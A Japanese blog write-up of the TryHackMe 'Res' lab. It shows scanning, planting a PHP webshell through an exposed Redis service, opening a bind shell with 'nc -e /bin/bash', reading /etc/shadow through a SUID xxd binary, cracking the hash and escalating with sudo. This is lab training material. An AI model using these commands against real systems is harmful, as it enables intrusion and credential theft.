TryHackMe Writeup:Res

# はじめに
今回も難易度`Easy`のルーム，`Res`のWriteupを書いていきたいと思います．

# ポートスキャン
いつも通りにポートスキャンです．
`sudo nmap -p- -vv -T4 -O -sV 10.10.52.251`
![Pasted image 20240302135820.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/bafd8077-584f-eecf-0adf-be81e2602a46.png)
80のhttpと6379のredisが開いているみたいですね．今回は`redis`がテーマなんですかね？

# ディレクトリ探索
`sudo gobuster dir -u 10.10.52.251 -w /usr/share/wordlists/dirb/common.txt -o gobuster_dir.log`
![Pasted image 20240302140145.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/89cc795a-0f21-4346-9375-111510270836.png)
今回は何もなさそうです．

# ブラウザで接続
![Pasted image 20240302135512.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/35755d4b-bc23-e138-e1ec-86897baece3d.png)
Apacheのデフォルトページが出てきました．
とりあえず前やった[ルーム](https://qiita.com/yuudee/items/68c00dac27f2f1075340)と同じ感じで脆弱性がないか調査してみます．
`redis 6.0.7 vulnerabilities`で検索してみます．
かなりいろいろ出てきました．
[こういうの](https://github.com/iw00tr00t/Redis-Server-Exploit)とかありました．

これだとSSHも必要そうだけど今回は開いていないからどうするか…

https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis

これのPHP webshellとかが使えそうですね．
![Pasted image 20240302144520.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/1b8d9270-2fc5-fcad-f23c-a713e34fb618.png)
今回はApacheなのでパスが間違ってますね．

`10.10.52.251/shell.php`にアクセスしてみます．
![Pasted image 20240302144629.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/f2fc0c2f-b9e5-34cb-ea6d-f6f504b891c7.png)
PHPの基本情報が表示されるみたいですね．

PHP webshellの詳細の作り方については以下を参考にしました．ありがとうございました．

https://qiita.com/yukiy4n4g1/items/865ad4c35c2d7deb1c63

![Pasted image 20240302145742.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/b0fa371c-9231-b1ad-a5e5-cf3b229d43d3.png)

これでURLにコマンドを入力することで実行できるようになるみたいです．
![Pasted image 20240302150957.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/12c5a237-6ec9-cbfd-90bd-01ca2c47aae1.png)
上記の画像のコマンドで待ち受ける場合だと上手くいきません．
`netcat`のオプションを見てみます．
![Pasted image 20240302151127.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/8bcc8860-6f41-2a4d-83e9-6409322416cd.png)
`-e`オプションで接続後に実行するコマンドを指定できるみたいです．

`http://10.10.52.251/shell.php?cmd=nc -e /bin/bash -nlvp 1234`
最終的にはこのコマンドでシェルとれるみたいです．
![Pasted image 20240302151209.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/bbd96ad9-d53a-0649-43ae-c2f6e5552bad.png)

findコマンドで検索します．
`find / -name user.txt`
`/home/vianka/user.txt`にあります．

# ユーザーアカウントのパスワードは何？
`/etc/passwd`を見てみます．
![Pasted image 20240302152019.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/82e20d43-672e-eb2e-300a-93de615d3ca3.png)

`/etc/shadow`も見れないみたいです．
suid権限が設定されているものがないか調べてみます．
`find / -perm -u=s`
![Pasted image 20240302153422.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/15d2cec7-9638-a39f-2cca-213e5e538d58.png)

`xxd`コマンドが使えるみたいですね．
`xxd`コマンドとは16進数にダンプしたり戻したりできるコマンドのことです．

おなじみのGTFObinsで調べてみます．

https://gtfobins.github.io/gtfobins/xxd/

```
LFILE=/etc/shadow
xxd "$LFILE" | xxd -r
```
これで`vianka`のユーザアカウントパスワードのハッシュ値が見れました．

これをjohn the ripperで解析していきます．
![Pasted image 20240302155548.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/0cb1a3ac-0eea-e8af-76a6-27be47998074.png)

＊本編とは関係ないですが
`python3 -c "import pty;pty.spawn('/bin/bash')"`でシェルの入力が楽になるみたいですね．

`su vianka`でユーザー`vianka`に切り替えて`sudo -l`します．
![Pasted image 20240302161048.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3015493/1d4699eb-7df3-f67a-7726-1ac022481971.png)
全て実行できるので`sudo su `でOK
`/root/root.txt`にあります．

# おわりに
PHPなどの知識はほとんどないのでもう少し勉強したいですね．
やりたいことが多すぎて大変です…